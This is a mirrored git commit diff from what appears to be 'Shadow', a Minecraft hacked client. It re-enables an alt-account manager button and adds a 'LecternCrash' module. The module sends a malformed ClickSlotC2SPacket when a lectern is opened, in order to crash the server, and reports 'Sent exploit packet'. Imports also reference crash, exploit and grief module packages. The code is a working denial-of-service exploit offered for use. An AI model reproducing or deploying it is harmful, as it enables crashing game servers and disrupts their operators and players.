mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
c
This commit is contained in:
parent
eaf8b0cf00
commit
5838809911
3 changed files with 65 additions and 2 deletions
|
@ -115,8 +115,8 @@ public class HomeScreen extends ClientScreen implements FastTickable {
|
|||
buttonsMap.add(new AbstractMap.SimpleEntry<>("Multiplayer", () -> ShadowMain.client.setScreen(new MultiplayerScreen(this))));
|
||||
buttonsMap.add(new AbstractMap.SimpleEntry<>("Realms", () -> ShadowMain.client.setScreen(new RealmsMainScreen(this))));
|
||||
buttonsMap.add(new AbstractMap.SimpleEntry<>("Alts", () -> ShadowMain.client.setScreen(
|
||||
// AltManagerScreen.instance()
|
||||
new AddonManagerScreen()
|
||||
AltManagerScreen.instance()
|
||||
// new AddonManagerScreen()
|
||||
)));
|
||||
buttonsMap.add(new AbstractMap.SimpleEntry<>("Settings", () -> ShadowMain.client.setScreen(new OptionsScreen(this, ShadowMain.client.options))));
|
||||
widgetsHeight = buttonsMap.size() * (widgetHeight + widPad) - widPad;
|
||||
|
|
|
@ -9,6 +9,7 @@ import net.shadow.client.feature.addon.Addon;
|
|||
import net.shadow.client.feature.module.impl.combat.*;
|
||||
import net.shadow.client.feature.module.impl.crash.AnimationCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.BookInflator;
|
||||
import net.shadow.client.feature.module.impl.crash.LecternCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.*;
|
||||
import net.shadow.client.feature.module.impl.grief.*;
|
||||
import net.shadow.client.feature.module.impl.misc.*;
|
||||
|
@ -175,6 +176,7 @@ public class ModuleRegistry {
|
|||
vanillaModules.add(new AutoFireball());
|
||||
vanillaModules.add(new AutoFish());
|
||||
vanillaModules.add(new AutoRun());
|
||||
vanillaModules.add(new LecternCrash());
|
||||
|
||||
rebuildSharedModuleList();
|
||||
}
|
||||
|
|
|
@ -0,0 +1,61 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.crash;
|
||||
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
|
||||
import net.minecraft.screen.LecternScreenHandler;
|
||||
import net.minecraft.screen.slot.SlotActionType;
|
||||
import net.shadow.client.feature.gui.notifications.Notification;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.helper.event.EventType;
|
||||
import net.shadow.client.helper.event.Events;
|
||||
|
||||
public class LecternCrash extends Module {
|
||||
public LecternCrash() {
|
||||
super("LecternCrash", "Crashes the server when you right click a lectern", ModuleType.CRASH);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
if (client.player.currentScreenHandler instanceof LecternScreenHandler handler) {
|
||||
int sid = handler.syncId;
|
||||
ClickSlotC2SPacket p = new ClickSlotC2SPacket(sid,0,0,0, SlotActionType.QUICK_MOVE,new ItemStack(Items.AIR),new Int2ObjectOpenHashMap<>());
|
||||
client.getNetworkHandler().sendPacket(p);
|
||||
client.player.closeHandledScreen();
|
||||
Notification.create(5000,"LecternCrash", Notification.Type.SUCCESS,"Sent exploit packet");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue